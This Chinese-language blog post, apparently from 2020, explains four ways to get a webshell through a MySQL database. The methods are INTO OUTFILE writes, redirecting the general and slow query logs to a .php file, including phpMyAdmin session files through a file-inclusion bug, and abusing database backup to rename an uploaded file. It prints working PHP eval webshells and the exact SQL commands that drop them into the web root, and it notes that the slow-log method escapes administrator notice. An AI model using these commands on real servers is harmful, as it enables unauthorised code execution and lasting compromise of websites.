利用数据库拿shell的一些姿势

0x01、利用MySQL命令导出getshell

利用条件:

1、拥有网站的写入权限

2、Secure_file_priv参数为空或者为指定路径

3、知道网站的绝对路径

方法:

通过into outfile 进行文件写入,写入一句话木马

CREATE TABLE shell(cmd text);

INSERT INTO shell(cmd) VALUES('<?php @eval($_POST[CMD]); ?>');

SELECT cmd from shell INTO OUTFILE 'D:/php/www/shell.php';

*************************OR************************************

select '<?php @eval($_POST[CMD]); ?>' into outfile 'D:/php/www/shell.php';

测试:

利用PHPStudy打开MySQL命令行

 

通过show global variables like ‘%secure%’;命令查看secure_file_priv,这个参数用来限制数据的导入和导出操作。

 

如上图所示,这个参数为NULL,MySQL服务会禁止导入和导出操作。

解决方法:

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

 

然后重启mysql,再查询secure_file_priv

 

现在即可将一句话木马导入到指定文件

 

用蚁剑连一下,可以成功连接。

 

0x02利用日志getshell

利用general_log和general_log_file拿shell

方法:

开启general_log后,系统将mysql执行的每一条查询语句写入我们指定位置的文件里。而文件的位置则由general_log_file确定。我们可以开启这个选项后,执行SELECT '<?php assert($_POST["cmd"]);?>';,这个指令就把木马插入到我们指定的php文件中去了。

测试:

利用PHPStudy打开MySQL命令行

执行下面操作,修改general_log_file的值

set global general_log = "ON";

set global general_log_file=” D:/php/www/shell.php”

 

在查询语句中写入一句话木马

 

这样就成功将一句话写入了我们指定的文件。

用蚁剑连一下,可以成功连接:

 

当然,也可以在phpmyadmin里面更改

 

利用慢查询日志写shell

原理:

慢查询日志,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

show global variables like '%long_query_time%';

 

通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不容易引起管理员的察觉。

测试:

利用PHPStudy打开MySQL命令行

 

执行下面操作,修改slow_query_log的值

set global slow_query_log = "ON";

set global slow_query_log_file =” D:/php/www/shell.php”

 

在查询语句中写入一句话木马并延时10秒以上:

select "<?php @eval($_POST['cmd']); ?>" or sleep(11);

 

蚁剑连接测试

 

0x03 利用文件包含漏洞getshell

原理:

对于phpmyadmin来说有一种特殊的机制,所有SQL的执行操作将存入session。

所以,如果目标站点存在文件包含漏洞,我们可以通过包含session文件来拿shell。

测试:

利用PHPStudy启一个环境。打开phpmyadmin,输入sql查询语句,执行

 

我们在session文件中就能找到这条语句的执行记录:

 

为了测试,我手动建立了一个存在文件包含漏洞的php文件

 

然后去包含我们的session文件

 

蚁剑连接测试

 

0x04 利用数据库备份getshell

网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如asp/php/jsp/aspx等。

而网站具有数据库备份功能,这时我们就可以将webshell格式先改为允许上传的文件格式,如jpg、gif等,然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。

 

 

posted @ 2020-10-27 19:14  yokan  阅读(3074)  评论(0编辑  收藏  举报